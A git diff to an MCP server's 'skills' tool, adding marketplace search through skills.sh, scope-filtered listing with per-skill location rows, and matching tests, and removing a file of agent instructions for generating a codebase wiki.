+ ignored: 'not projected',
+ },
+ { name: 123, source: 'bad-row' },
+ ],
+ backend: 'skills.sh',
+ degraded: false,
+ }),
+ { status: 200, headers: { 'content-type': 'application/json' } },
+ );
+ }) as unknown as typeof fetch;
+
+ const handler = captureSkills('http://localhost:4321');
+ const r = await handler({ query: 'review bot' });
+
+ expect(r.isError).toBeUndefined();
+ expect(calls).toEqual(['http://localhost:4321/api/skills/search?q=review%20bot']);
+ expect(r.structuredContent?.results).toEqual([
+ {
+ name: 'review-bot',
+ source: 'acme/skills',
+ description: 'Review pull requests',
+ installs: 42,
+ publisher: 'acme',
+ },
+ ]);
+ expect(r.structuredContent?.backend).toBe('skills.sh');
+ expect(r.structuredContent?.degraded).toBe(false);
+ });
+});
+
describe('skills read tool — built-in OK skills short-circuit before the network', () => {
// No server URL at all: reaching the teaching error proves the built-in guard
// fires before any cwd/server resolution. This is the exact collision from the
@@ -114,3 +176,67 @@ describe('skills read tool — built-in OK skills short-circuit before the netwo
expect(text(r)).toContain(HOCUSPOCUS_NOT_RUNNING_ERROR);
});
});
+
+describe('skills LIST — scope filters, and mode is always answered', () => {
+ let originalFetch: typeof fetch;
+ beforeEach(() => {
+ originalFetch = globalThis.fetch;
+ });
+ afterEach(() => {
+ globalThis.fetch = originalFetch;
+ });
+
+ function stubList() {
+ globalThis.fetch = vi.fn(
+ async () =>
+ new Response(
+ JSON.stringify({
+ skills: [
+ { name: 'proj-a', scope: 'project', installed: true, hosts: ['claude'] },
+ {
+ name: 'glob-a',
+ scope: 'global',
+ installed: true,
+ hosts: ['claude'],
+ linkMode: true,
+ },
+ ],
+ }),
+ { status: 200, headers: { 'content-type': 'application/json' } },
+ ),
+ ) as unknown as typeof fetch;
+ }
+
+ test('`scope` filters the list instead of being ignored', async () => {
+ stubList();
+ const r = await captureSkills('http://127.0.0.1:4321')({ scope: 'global' });
+ const skills = r.structuredContent?.skills as Array<{ name: string; scope: string }>;
+ expect(skills.map((s) => s.name)).toEqual(['glob-a']);
+ });
+
+ test('omitting `scope` still lists both levels', async () => {
+ stubList();
+ const r = await captureSkills('http://127.0.0.1:4321')({});
+ const skills = r.structuredContent?.skills as Array<{ name: string }>;
+ expect(skills.map((s) => s.name)).toEqual(['proj-a', 'glob-a']);
+ });
+
+ test('`mode` is present on every row — a copy-form skill says so', async () => {
+ // It used to be omitted unless the server reported linkMode, so an agent
+ // could not tell "this skill uses copies" from "unknown" and would guess.
+ stubList();
+ const r = await captureSkills('http://127.0.0.1:4321')({});
+ const skills = r.structuredContent?.skills as Array<{ name: string; mode: string }>;
+ expect(skills.map((s) => [s.name, s.mode])).toEqual([
+ ['proj-a', 'copy'],
+ ['glob-a', 'link'],
+ ]);
+ });
+
+ test('a too-short query is refused, not answered as an empty skills.sh result', async () => {
+ const r = await captureSkills('http://127.0.0.1:4321')({ query: 'k' });
+ expect(r.isError).toBe(true);
+ expect(text(r)).toContain('at least 2 characters');
+ expect(r.structuredContent?.backend).toBeUndefined();
+ });
+});
diff --git a/packages/server/src/mcp/tools/skills.ts b/packages/server/src/mcp/tools/skills.ts
index 0c5ec40b0..0f7808b5b 100644
--- a/packages/server/src/mcp/tools/skills.ts
+++ b/packages/server/src/mcp/tools/skills.ts
@@ -9,12 +9,13 @@
* NEVER browses `.ok/` to find or read a skill — `.ok/` stays opaque (no `ls`,
* no raw `.ok/skills/...` paths). Read-only; mutation stays with the verb tools.
*/
+import { EDITOR_PROJECT_SKILL_ROOT, EDITOR_USER_SKILL_ROOT } from '@inkeep/open-knowledge-core';
import { z } from 'zod';
import { INTERNAL_BUNDLE_SKILL_NAMES, isInternalBundleSkillName } from '../../skill-bundles.ts';
import {
type ConfigOrResolver,
HOCUSPOCUS_NOT_RUNNING_ERROR,
- httpGet,
+ httpGetRows,
outputSchemaWithText,
ROUTED_CWD_DESCRIPTION,
resolveProjectServerContext,
@@ -36,6 +37,86 @@ function bundleFileKind(path: string): 'reference' | 'script' {
return path.replace(/\\/g, '/').startsWith('scripts/') ? 'script' : 'reference';
}
+/**
+ * Project one raw `/api/skills` row into the tool's location-model shape:
+ * every physical location with its role (`source` first — the skill's real
+ * folder), audience (folder aliases resolving into it), and drift. This is
+ * the read half of the location verbs on `install` (add/remove/mode/source).
+ */
+function projectListRow(s: Record<string, unknown>): {
+ name: unknown;
+ scope: unknown;
+ description?: string;
+ installed: boolean;
+ hosts: string[];
+ locations: Array<{
+ id: string;
+ path: string;
+ role: 'source' | 'copy' | 'symlink';
+ audience?: string[];
+ drift?: boolean;
+ }>;
+ mode?: 'copy' | 'link';
+ conflicts?: string[];
+} {
+ const name = String(s.name);
+ const scope = s.scope === 'global' ? 'global' : 'project';
+ const hosts = Array.isArray(s.hosts) ? (s.hosts as string[]) : [];
+ const linked = new Set(Array.isArray(s.symlinkedHosts) ? (s.symlinkedHosts as string[]) : []);
+ const aliases = (s.hostAliases ?? {}) as Record<string, string>;
+ const drift = new Set(Array.isArray(s.driftPaths) ? (s.driftPaths as string[]) : []);
+ const rootOf = (h: string): string => {
+ if (h === 'agents') return '.agents/skills';
+ if (h.includes('/')) return h; // custom-root id IS its path
+ const map = scope === 'project' ? EDITOR_PROJECT_SKILL_ROOT : EDITOR_USER_SKILL_ROOT;
+ return (map as Record<string, string | null>)[h] ?? h;
+ };
+ const subsOf = (root: string): string[] =>
+ Object.keys(aliases).filter((k) => aliases[k] === root);
+ const locations = hosts.map((h, i) => {
+ const root = rootOf(h);
+ const path = `${root}/${name}`;
+ const audience = subsOf(root);
+ return {
+ id: h,
+ path,
+ role: (i === 0 ? 'source' : linked.has(h) ? 'symlink' : 'copy') as
+ | 'source'
+ | 'copy'
+ | 'symlink',
+ ...(audience.length > 0 ? { audience } : {}),
+ ...(drift.has(path) ? { drift: true } : {}),
+ };
+ });
+ // Recorded custom placements not already surfaced as scan hosts.
+ const placements = Array.isArray(s.customPlacements)
+ ? (s.customPlacements as Array<{ path: string; mode: 'copy' | 'link' }>)
+ : [];
+ for (const cp of placements) {
+ if (locations.some((l) => l.path === cp.path)) continue;
+ const root = cp.path.split('/').slice(0, -1).join('/');
+ const audience = subsOf(root);
+ locations.push({
+ id: root,
+ path: cp.path,
+ role: cp.mode === 'link' ? 'symlink' : 'copy',
+ ...(audience.length > 0 ? { audience } : {}),
+ ...(drift.has(cp.path) ? { drift: true } : {}),
+ });
+ }
+ const conflicts = Array.isArray(s.conflictHosts) ? (s.conflictHosts as string[]) : [];
+ return {
+ name: s.name,
+ scope: s.scope,
+ ...(typeof s.description === 'string' ? { description: s.description } : {}),
+ installed: s.installed === true,
+ hosts: locations.map((l) => l.id),
+ locations,
+ mode: s.linkMode === true ? ('link' as const) : ('copy' as const),
+ ...(conflicts.length > 0 ? { conflicts } : {}),
+ };
+}
+
/**
* Teaching error for a READ aimed at one of OK's built-in skills. Without it,
* an agent told to "load the open-knowledge skill" calls
@@ -47,7 +128,7 @@ function internalSkillHint(name: string): string {
return [
`"${name}" is one of OpenKnowledge's built-in agent skills — it is NOT managed by this tool and cannot be read or listed here.`,
"It is already provided to you in your loaded skill list (a hidden runtime skill projected into your editor); don't fetch or re-load it — just follow the skill you already have.",
- 'The `skills` tool only covers skills authored as KB content (`.ok/skills` = project, `~/.ok/skills` = global). Built-in `open-knowledge*` skills never appear in either scope.',
+ 'The `skills` tool covers skills wherever they live — editor dirs (`.claude/skills`, …), the `.agents/skills` hub, custom roots, and the legacy `.ok/skills` store, at project AND global (user-home) level. Built-in `open-knowledge*` skills never appear.',
].join(' ');
}
@@ -55,20 +136,64 @@ function internalSkillHint(name: string): string {
// (matching the verbs, `/api/skills`, and the persisted `__skill__/global/`
// doc names). Stated overtly so an agent knows exactly which level it targets.
const SCOPE_FIELD_DESCRIBE =
- "Which level the skill lives at. `project` = this KB's `.ok/skills/` (shared via git with everyone on the project); `global` = your user-level `~/.ok/skills/` (available in every project on this machine, not shared).";
+ 'Which level the skill lives at. `project` = lives in this KB (wherever its folder is; shared via git); `global` = user-level under your home dir (available in every project on this machine, not shared).';
+
+/** One LOCATION holding the skill: its id (pass to `install` add/remove/
+ * source), its bundle dir, and what it physically IS there. The `source`
+ * role is the skill itself — one per skill, always present. */
+const SkillLocationEntryOutputSchema = z.object({
+ id: z
+ .string()
+ .describe('Location id — editor host id, `agents`, or a custom root path. Pass to `install`.'),
+ path: z
+ .string()
+ .describe(
+ 'Base-relative bundle dir (e.g. ".claude/skills/x"). INFORMATIONAL — for showing a user where a location lives. Skills are addressed by `name` + `scope`: pass `id` to `install`, and read bundle files with `skills({ name, file })`, never by handing this path to `exec` or a native file tool.',
+ ),
+ role: z
+ .enum(['source', 'copy', 'symlink'])
+ .describe(
+ 'source = the REAL folder (the skill itself); copy = independent folder, auto-refreshed from the source until hand-edited (then it forks); symlink = live link to the source.',
+ ),
+ audience: z
+ .array(z.string())
+ .optional()
+ .describe(
+ 'Folders that RESOLVE INTO this location (folder-level symlinks) — their agents read what lands here.',
+ ),
+ drift: z
+ .boolean()
+ .optional()
+ .describe('Something outside OK rewrote this path since OK last wrote it.'),
+});
-/** One row of the skills index, as the tool projects it. NO filesystem path —
- * skills are addressed by `name` + `scope`, never by a `.ok/` path. */
+/** One row of the skills index, as the tool projects it. */
const SkillListEntryOutputSchema = z.object({
name: z.string().describe('Skill name (its identity; pass to `edit`/`move`/`delete`/`install`).'),
scope: z.enum(['project', 'global']).describe(SCOPE_FIELD_DESCRIBE),
description: z.string().optional().describe("The skill's one-line description (when present)."),
- installed: z.boolean().describe('True when projected into ≥1 editor; false = a Draft.'),
- hosts: z.array(z.string()).describe('Editor ids the skill is installed into.'),
- updateAvailable: z
+ installed: z
.boolean()
+ .describe(
+ 'Always true for a managed skill — its source folder IS the skill, so it is never "not installed". Read `locations[]` for where it actually lives.',
+ ),
+ hosts: z
+ .array(z.string())
+ .describe('Flat location ids (locations[].id), SOURCE first — legacy projection.'),
+ locations: z
+ .array(SkillLocationEntryOutputSchema)
+ .describe(
+ "Everywhere the skill lives. Exactly one `source` (the skill's real folder); every other entry is a managed copy or symlink of it.",
+ ),
+ mode: z
+ .enum(['copy', 'link'])
+ .describe(
+ 'The form a NEW location would take, derived from the ones the skill already uses. Not a stored preference and not a claim about existing locations — read `locations[].role` for those.',
+ ),
+ conflicts: z
+ .array(z.string())
.optional()
- .describe('Starter-pack skills only: a newer bundled version is available.'),
+ .describe('Host ids where a DIFFERENT skill with this name occupies the slot.'),
});
/** One bundle-file row in a skill READ: path + kind, NO inline content. */
@@ -95,15 +220,37 @@ const SkillFileReadOutputSchema = z.object({
text: z.string().describe('Full text of the bundle file.'),
});
+const SkillMarketplaceResultOutputSchema = z.object({
+ name: z.string().describe('Skill name to pass as `skill` to `import`.'),
+ source: z
+ .string()
+ .describe(
+ 'Import-ready repository coordinates or website hostname. Pass this exact value to `import`.',
+ ),
+ description: z
+ .string()
+ .describe('Marketplace description for deciding whether the skill matches the task.'),
+ installs: z
+ .number()
+ .int()
+ .nonnegative()
+ .nullable()
+ .describe('skills.sh install count, if known.'),
+ publisher: z.string().nullable().describe('Publisher, website, or GitHub owner, if known.'),
+});
+
const DESCRIPTION = [
'[Requires: Hocuspocus server] Read-only discovery for SKILLS — the read half of the skill vocabulary (`write`/`edit`/`delete`/`move`/`install` are the mutate half).',
'',
- 'This is how you find and read skills. Skills are addressed by `name` + `scope`, NOT by path — do NOT `ls`/`cat` `.ok/skills/` or pass raw `.ok/...` paths; `.ok/` is opaque internal state.',
+ 'This is how you search the marketplace, list managed skills, and read managed skill content. Managed skills are addressed by `name` + `scope`, NOT by path — do NOT `ls`/`cat` `.ok/skills/` or pass raw `.ok/...` paths; `.ok/` is opaque internal state.',
+ '',
+ 'Marketplace rows are external candidates; they are NOT managed content until you call `import({ source, skill: name })`, and they are NOT active in editors until `install` projects them.',
'',
- "Covers only skills authored as KB content. OpenKnowledge's own built-in `open-knowledge*` skills (e.g. the `open-knowledge` project skill) are runtime skills already loaded in your skill list — they are NOT here, and you never fetch them through this tool.",
+ "OpenKnowledge's own built-in `open-knowledge*` skills (e.g. the `open-knowledge` project skill) are runtime skills already loaded in your skill list — they are NOT here, and you never fetch them through this tool.",
'',
- '**Three modes:**',
- '- **List** (omit `name`): every skill across BOTH levels — Project (this KB) and Global (user-level). Returns name, scope, description, installed/hosts, and (for starter packs) `updateAvailable`.',
+ '**Four modes:**',
+ '- **Marketplace search** (pass `query`): search skills.sh and return import-ready rows (`name`, `source`, `description`, `publisher`, installs). Use when a user asks to find/browse/add an external skill. Then call `import({ source, skill: name })` on the chosen row.',
+ '- **List** (omit `name`): every skill across BOTH levels — Project (this KB) and Global (user-level). Returns name, scope, description, installed/hosts.',
"- **Read skill** (pass `name`): that skill's description + body + a `files` list (`{ path, kind }`, no inline text) of its `references/**`+`scripts/**` bundle files. `scope` optional — omitted, it resolves by name (preferring Project when a name exists at both levels).",
"- **Read file** (pass `name` + `file`): one bundle file's text — the universal read path for references + scripts (no native `cat`).",
].join('\n');
@@ -120,10 +267,18 @@ export function register(server: ServerInstance, deps: SkillsToolDeps): void {
{
description: DESCRIPTION,
inputSchema: {
+ query: z
+ .string()
+ .optional()
+ .describe(
+ 'Marketplace search query for skills.sh. Use this before `import` when looking for an external skill; do not combine with `name` or `file`.',
+ ),
name: z
.string()
.optional()
- .describe('Omit to LIST all skills; pass a skill name to READ that skill.'),
+ .describe(
+ 'Managed skill name. Omit to LIST all managed skills; pass a name to READ that skill.',
+ ),
file: z
.string()
.optional()
@@ -144,9 +299,36 @@ export function register(server: ServerInstance, deps: SkillsToolDeps): void {
file: SkillFileReadOutputSchema.optional().describe(
'Present in READ-file mode: one bundle file (path, kind, text).',
),
+ results: z
+ .array(SkillMarketplaceResultOutputSchema)
+ .optional()
+ .describe(
+ 'Present in Marketplace search mode: import-ready external skill candidates. Pick one, then call `import({ source, skill: name })`.',
+ ),
+ backend: z
+ .enum(['skills.sh', 'github-fallback'])
+ .optional()
+ .describe('Marketplace backend that answered the query.'),
+ degraded: z
+ .boolean()
+ .optional()
+ .describe('True when the GitHub fallback answered instead of skills.sh.'),
}),
},
- async (args: { name?: string; file?: string; scope?: SkillScope; cwd?: string }) => {
+ async (args: {
+ query?: string;
+ name?: string;
+ file?: string;
+ scope?: SkillScope;
+ cwd?: string;
+ }) => {
+ if (args.query !== undefined && (args.name !== undefined || args.file !== undefined)) {
+ return textResult(
+ 'Error: `query` is marketplace search mode — do not combine it with `name` or `file`.',
+ true,
+ );
+ }
+
// OK's own built-in skills are runtime/agent skills, never content skills —
// short-circuit before touching cwd/server so the error teaches (rather
// than 404s) regardless of scope or whether a server is running.
@@ -164,6 +346,51 @@ export function register(server: ServerInstance, deps: SkillsToolDeps): void {
const { url } = context;
if (!url) return textResult(HOCUSPOCUS_NOT_RUNNING_ERROR, true);
+ if (args.query !== undefined) {
+ const q = args.query.trim();
+ if (q.length < 2) {
+ // Returning an empty result set with `backend: 'skills.sh'` claimed the
+ // marketplace had answered when no request was made, so the agent
+ // concluded nothing was published and stopped instead of broadening.
+ return textResult(
+ 'Error: `query` needs at least 2 characters — the skills.sh search rejects shorter terms.',
+ true,
+ );
+ }
+ const searchRes = await httpGetRows(
+ url,
+ `/api/skills/search?q=${encodeURIComponent(q)}`,
+ 'results',
+ );
+ if ('error' in searchRes) return textResult(`Error: ${searchRes.error}`, true);
+ const { rows: rawResults, data } = searchRes;
+ const results = rawResults.flatMap((r) => {
+ if (typeof r.name !== 'string' || typeof r.source !== 'string') return [];
+ return [
+ {
+ name: r.name,
+ source: r.source,
+ description: typeof r.description === 'string' ? r.description : '',
+ installs:
+ typeof r.installs === 'number' && Number.isInteger(r.installs) && r.installs >= 0
+ ? r.installs
+ : null,
+ publisher: typeof r.publisher === 'string' ? r.publisher : null,
+ },
+ ];
+ });
+ const backend =
+ (data as { backend?: unknown }).backend === 'github-fallback'
+ ? 'github-fallback'
+ : 'skills.sh';
+ const degraded = (data as { degraded?: unknown }).degraded === true;
+ return textPlusStructured(JSON.stringify({ results, backend, degraded }, null, 2), {
+ results,
+ backend,
+ degraded,
+ });
+ }
+
// `file` is a READ-file selector — it needs a `name` to address the skill.
if (args.file !== undefined && args.name === undefined) {
return textResult(
@@ -171,46 +398,44 @@ export function register(server: ServerInstance, deps: SkillsToolDeps): void {
true,
);
}
+ // Normalized once here (separators, `.`/empty segments) and reused below —
+ // sending the raw string on would make this validation dead code.
+ let bundleFilePath: string | undefined;
if (args.file !== undefined) {
const check = resolveSkillFilePath(args.file);
if (!check.ok) return textResult(`Error: ${check.error}`, true);
+ bundleFilePath = check.path;
}
// LIST mode — the same index the Skills sidebar uses (both scopes).
if (args.name === undefined) {
- const result = await httpGet(url, '/api/skills');
- if (!result.ok) return textResult(`Error: ${result.error}`, true);
- const { ok: _ok, ...data } = result;
- const rawSkills = Array.isArray((data as { skills?: unknown }).skills)
- ? ((data as { skills: unknown[] }).skills as Array<Record<string, unknown>>)
- : [];
+ const listRes = await httpGetRows(url, '/api/skills', 'skills');
+ if ('error' in listRes) return textResult(`Error: ${listRes.error}`, true);
+ const rawSkills = listRes.rows;
// Hide OK's own built-in `open-knowledge*` skills from the LIST: they now
// surface in `/api/skills` (managed, read-only) for the editor UI, but
// the agent already has them loaded (the READ short-circuit above teaches
// that), and LISTing them here would contradict it.
+ // The runtime three stay OUT of
+ // the agent-facing list — an agent browsing its own steering skill is
+ // recursion noise, and the read-only edit gate covers mutation. Packs
+ // and every other first-party skill list ordinarily.
const authored = rawSkills.filter((s) => !isInternalBundleSkillName(String(s.name)));
- // Project to the tool shape — deliberately DROP `path`/`absolutePath`
- // so skills stay addressed by name+scope and `.ok/` is never surfaced.
- const skills = authored.map((s) => ({
- name: s.name,
- scope: s.scope,
- ...(typeof s.description === 'string' ? { description: s.description } : {}),
- installed: s.installed === true,
- hosts: Array.isArray(s.hosts) ? s.hosts : [],
- ...(typeof s.updateAvailable === 'boolean' ? { updateAvailable: s.updateAvailable } : {}),
- }));
+ // `scope` FILTERS the list. Accepting it and then returning both levels
+ // answered a different question than the one asked: an agent asking for
+ // global skills got every project skill too.
+ const scoped =
+ args.scope === undefined ? authored : authored.filter((s) => s.scope === args.scope);
+ const skills = scoped.map((s) => projectListRow(s));
return textPlusStructured(JSON.stringify({ skills }, null, 2), { skills });
}
// READ mode — resolve scope (explicit, else by name across the index).
let scope = args.scope;
if (scope === undefined) {
- const list = await httpGet(url, '/api/skills');
- if (!list.ok) return textResult(`Error: ${list.error}`, true);
- const { ok: _ok, ...listData } = list;
- const rows = Array.isArray((listData as { skills?: unknown }).skills)
- ? ((listData as { skills: unknown[] }).skills as Array<Record<string, unknown>>)
- : [];
+ const listRes = await httpGetRows(url, '/api/skills', 'skills');
+ if ('error' in listRes) return textResult(`Error: ${listRes.error}`, true);
+ const rows = listRes.rows;
const matches = rows.filter((s) => s.name === args.name);
if (matches.length === 0) {
return textResult(`Error: no skill named "${args.name}" (Project or Global).`, true);
@@ -226,7 +451,7 @@ export function register(server: ServerInstance, deps: SkillsToolDeps): void {
// READ-FILE mode — one bundle file's text (universal read path; works for
// scripts + global refs that aren't graph-visible).
if (args.file !== undefined) {
- const fileRead = await readSkillFile(url, scope, args.name, args.file);
+ const fileRead = await readSkillFile(url, scope, args.name, bundleFilePath ?? args.file);
if (!fileRead.ok) return textResult(`Error: ${fileRead.error}`, true);
const file = { path: fileRead.path, kind: fileRead.kind, text: fileRead.text };
return textPlusStructured(JSON.stringify({ file }, null, 2), { file });
diff --git a/packages/server/src/mcp/tools/verb-schemas.ts b/packages/server/src/mcp/tools/verb-schemas.ts
index 2ee6c6e2b..d3616f7a5 100644
--- a/packages/server/src/mcp/tools/verb-schemas.ts
+++ b/packages/server/src/mcp/tools/verb-schemas.ts
@@ -165,14 +165,14 @@ export function resolveTemplatePath(
// separately and the server composes the SKILL.md.
export const SKILL_NAME_DESCRIBE =
- 'Skill name — the skill\'s identity AND its directory under `.ok/skills/<name>/`. Lowercase letters, digits, hyphens only (≤64 chars; no slashes, dots, spaces, or uppercase). Example: "trip-log".';
+ 'Skill name — the skill\'s identity AND its bundle-dir name, wherever the skill lives (e.g. `.agents/skills/<name>/`). Lowercase letters, digits, hyphens only (≤64 chars; no slashes, dots, spaces, or uppercase). Example: "trip-log".';
export const SKILL_DESCRIPTION_DESCRIBE =
'One-line description (≤1024 chars) — the PRIMARY triggering surface telling an agent WHEN to use this skill. No XML tags (`<...>`), which break the skill loader.';
export const SKILL_BODY_DESCRIBE =
'SKILL.md body (markdown guidance). Authored WITHOUT frontmatter — `name` + `description` are passed separately and composed server-side. Keep under ~500 lines; move depth into one-level-deep `references/`.';
// Local — only consumed by `SkillScopeArg` below.
const SKILL_SCOPE_DESCRIBE =
- 'Level: "project" (default — a Project skill: lives in this KB\'s `.ok/skills/`, shared with teammates via git) or "global" (a Global skill: your user-level `~/.ok/skills/` store, available in every project on this machine — not shared, not version-tracked). Pass the literal value "global" for a Global skill.';
+ 'Level: "project" (default — a Project skill: lives in this KB wherever its folder is, shared with teammates via git) or "global" (a Global skill: lives under your user home, available in every project on this machine — not shared, not version-tracked). Pass the literal value "global" for a Global skill.';
/**
* Shared skill `scope` argument for the CRUD verb tools — the single source for
diff --git a/packages/server/src/mcp/tools/verb-tools.test.ts b/packages/server/src/mcp/tools/verb-tools.test.ts
index 761a97625..399cb085e 100644
--- a/packages/server/src/mcp/tools/verb-tools.test.ts
+++ b/packages/server/src/mcp/tools/verb-tools.test.ts
@@ -325,10 +325,9 @@ describe('D13 migration meta-test — no retired tool name survives in the skill
'rename_folder',
// merges/splits + get_ prefix drops. Only snake_case names that can't
// collide with prose are listed here — `ingest` / `research` / `consolidate` /
- // `discover` survive as `workflow({ kind })` values, and `version` (now split
- // into the standalone `checkpoint` + `restore_version` tools) is an ordinary
- // English word; all are guarded by the registry test, not this bare-substring
- // scan.
+ // `discover` / `workflow` and `version` (now split into the standalone
+ // `checkpoint` + `restore_version` tools) are ordinary English words; all are
+ // guarded by the registry test, not this bare-substring scan.
'get_history',
'get_config',
'get_preview_url',
diff --git a/packages/server/src/mcp/tools/wiki-body.ts b/packages/server/src/mcp/tools/wiki-body.ts
deleted file mode 100644
index 744544dee..000000000
--- a/packages/server/src/mcp/tools/wiki-body.ts
+++ /dev/null
@@ -1,181 +0,0 @@
-/**
- * Instructional body for the `workflow({ kind: 'wiki' })` guide.
- *
- * Drives an agent to generate — and later refresh — a navigable, diagram-rich,
- * source-grounded wiki of the surrounding codebase, authored as markdown INTO
- * the OK knowledge base (the `codebase-wiki` starter pack's `wiki/` layout).
- * The OK answer to Cognition's DeepWiki: repo-owned, version-controlled,
- * private by default, human+agent co-editable, and durable grounding context
- * for future agent sessions.
- *
- * Split from `workflow.ts` so the markdown content lives in a file dedicated to
- * it (mirrors `discover-body.ts`). Body is interpolated with the project's
- * resolved `contentDir` at call time; everything else is a constant.
- *
- * The recipe leans on shipped OK primitives only — no new engine code. It pairs
- * NATIVE source-code tools (read `.ts`/`.py`/config/etc.) with the OK MCP verbs
- * (`write`/`edit`/`links`/`search`/`exec`) that author and audit the markdown.
- */
-
-export function buildWikiBody(contentDir: string): string {
- return `# Codebase Wiki — Generate + Refresh
-
-You're invoked because the user wants a **wiki of this codebase** — DeepWiki, but living in their own repo. Your job: read the source code and author a navigable, diagram-rich, source-grounded wiki as markdown INTO the OK knowledge base, under \`wiki/\`. It is version-controlled, private by default, co-editable, renders in OK's live preview, and becomes grounding context for future agent sessions.
-
-Content directory: \`${contentDir}\` (from \`.ok/config.yml\`). The wiki lives at \`${contentDir}/wiki/\`.
-
-**Two toolsets, two jobs.** Read source code with your NATIVE tools (\`Read\`/\`Grep\`/\`Glob\`/\`Bash\` — OK MCP does not index non-markdown source). Author and audit the wiki with OK MCP verbs (\`write\`/\`edit\` for pages, \`links\`/\`search\` for the graph, \`exec\` for markdown listings). Never hand-write the wiki markdown with native \`Write\`/\`Edit\` — that bypasses attribution, backlinks, and the live preview.
-
-**Server requirement.** Phases that author or audit the wiki (\`write\`/\`edit\`/\`links\`/\`search\`) need the OK Hocuspocus server. Source reading (native tools) and git (\`exec\`/native \`Bash\`) do not. If a \`write\` returns "Hocuspocus server is not running", tell the user to run \`ok start\` and retry — do NOT fall back to native file writes for the wiki markdown.
-
-**Prerequisite.** This guide assumes the \`codebase-wiki\` pack is seeded (\`ok seed --pack codebase-wiki\` → \`wiki/\` with \`architecture/ modules/ flows/ concepts/ guides/\`, each carrying folder frontmatter + a page template, plus \`wiki/OVERVIEW.md\` + \`wiki/log.md\`). If \`exec("ls -A ${contentDir}/wiki")\` shows the layout is missing, tell the user to seed first, then re-invoke.
-
----
-
-## The two knobs
-
-Read these from the user's natural-language request (e.g. "build the wiki, public and exhaustive"). They are NOT engine config — they tune what you produce. Record the chosen profile in \`wiki/OVERVIEW.md\` frontmatter (\`profile: <audience>/<depth>\`) so refreshes stay consistent.
-
-| Knob | Values | Effect |
-|---|---|---|
-| \`audience\` | \`internal\` (default) │ \`public\` | \`internal\`: dense; may cite internal infra; reference source via **relative links + symbol code-spans**. \`public\`: polished prose; **omit secrets, internal infra, ticket/PR numbers**; reference source via **GitHub blob URLs** (only if a remote exists — else fall back to relative). |
-| \`depth\` | \`tour\` │ \`standard\` (default) │ \`exhaustive\` | \`tour\`: OVERVIEW + architecture + top flows only (fold modules into architecture). \`standard\`: + one page per package/module + concepts. \`exhaustive\`: + sub-module pages, \`guides/\`, per-flow failure modes, denser diagrams. |
-
-Default when the user says nothing: \`internal\` / \`standard\`.
-
----
-
-## Source-reference convention (how wiki pages point at code)
-
-- **Intra-wiki navigation** → OK doc links (\`[Auth flow](../flows/auth.md)\`). These build the full backlink / hub / orphan graph. Link liberally — density is how the wiki stays navigable.
-- **Code references, \`internal\`** → a relative markdown link to the source file plus an inline code-span for the symbol — e.g. the \`bootServer()\` symbol in [boot.ts](../../packages/server/src/boot.ts). Relative source links click-open in the asset preview and stay out of the navigation graph (the \`links\` graph tracks only \`.md\`/\`.mdx\` edges, so source links never show as graph dead-links or orphans) — but the write/edit \`brokenLinks\` response DOES validate them: a wrong-depth path resolving to a missing file is reported \`no-such-file\`, and one that overshoots the content root is \`unresolvable\`. So count the \`../\` hops from the page's own folder, not the wiki root. A cosmetic \`#Lxx\` is fine but not navigable.
-- **Code references, \`public\`** → GitHub blob URLs (\`https://github.com/<org>/<repo>/blob/<branch>/path/to/file.ts\`) so a reader without the repo can follow them. Detect the remote with \`exec\` (or native \`git remote get-url origin\`); if there is none, fall back to relative links.
-
-Never invent paths — every source reference must point at a file you actually read.
-
----
-
-## Mode detection — generate vs. refresh
-
-\`exec("cat ${contentDir}/wiki/OVERVIEW.md")\` and read its frontmatter:
-
-- **\`source_commit\` is empty / OVERVIEW is the seeded stub** → **GENERATE** (Phases 0–7 below).
-- **\`source_commit\` is stamped with a commit** → **REFRESH** (jump to the *Refresh mode* section). Reuse the recorded \`profile\` unless the user explicitly changes a knob.
-
----
-
-## GENERATE — phased, STOP-gated (⛔ = wait for user confirmation)
-
-Work the phases in order. Do not skip or batch ahead of a ⛔ gate. Each page is authored with OK \`write\`/\`edit\`; create from the seeded templates (\`write({ document: { path, template: "<name>" } })\`) so pages start with the right skeleton, then fill the sections.
-
-### Phase 0 — Resolve profile + scope (⛔ STOP gate 0)
-
-1. Resolve \`audience\` + \`depth\` from the request (default \`internal/standard\`).
-2. Propose the **coverage set** (which packages/dirs the wiki will document) and **exclusions** (vendored deps, build output, generated code, fixtures — \`node_modules/\`, \`dist/\`, \`build/\`, \`vendor/\`, \`third_party/\`, \`coverage/\`, lockfiles).
-3. Present profile + coverage + exclusions to the user. **Wait for confirmation.**
-
-### Phase 1 — Survey (no writes) (⛔ STOP gate 1)
-
-Read, don't write. Use native tools:
-
-1. **Detect the stack** — languages, build system, package manager, workspace/monorepo layout, entry points. (\`Glob\` for manifests: \`package.json\`, \`Cargo.toml\`, \`go.mod\`, \`pyproject.toml\`, \`*.csproj\`; read them.)
-2. **Bootstrap from existing docs** — READ \`README\`, \`AGENTS.md\`/\`CLAUDE.md\`, \`ARCHITECTURE.md\`, \`CONTRIBUTING\`, per-package READMEs. **Summarize and link to them; do NOT duplicate.** They are your highest-signal starting point.
-3. **Map the modules** — list packages/top-level source dirs; note each one's rough purpose and entry points.
-4. Produce an **inventory + a proposed page list scaled to \`depth\`**:
- - \`tour\` → OVERVIEW + 1–3 architecture pages + top 1–3 flows.
- - \`standard\` → + one module page per package + a concepts glossary.
- - \`exhaustive\` → + sub-module pages, \`guides/\`, per-flow failure modes.
-5. Present the page list. **Wait for confirmation.**
-
-### Phase 2 — Overview hub
-
-Author \`wiki/OVERVIEW.md\` (edit the seeded stub in place):
-1. **What this is** — 1–2 paragraphs: what the project does, who it's for.
-2. **Architecture at a glance** — a big-picture \`mermaid\` diagram. Example:
- \`\`\`mermaid
- flowchart TD
- CLI[ok CLI] --> Server[Hocuspocus server]
- App[React editor] --> Server
- Server --> Disk[(markdown + .ok/)]
- \`\`\`
- (Mermaid label text has sharp edges — if a write returns a \`mermaid-parse-error\` warning, fix that fence and re-edit. \`palette({ components: ["Mermaid"] })\` lists the gotchas.)
-3. **Navigation** — a map that links **every section and every page you will create**, as OK doc links. OVERVIEW is the hub; everything must be reachable from it.
-4. **Stamp frontmatter**: set \`profile: <audience>/<depth>\` and \`source_commit: <git rev-parse HEAD>\` (run \`exec("git rev-parse HEAD")\` or native \`git\`). \`source_commit\` is the freshness anchor refresh mode diffs against — get it right.
-
-### Phase 3 — Architecture pages
-
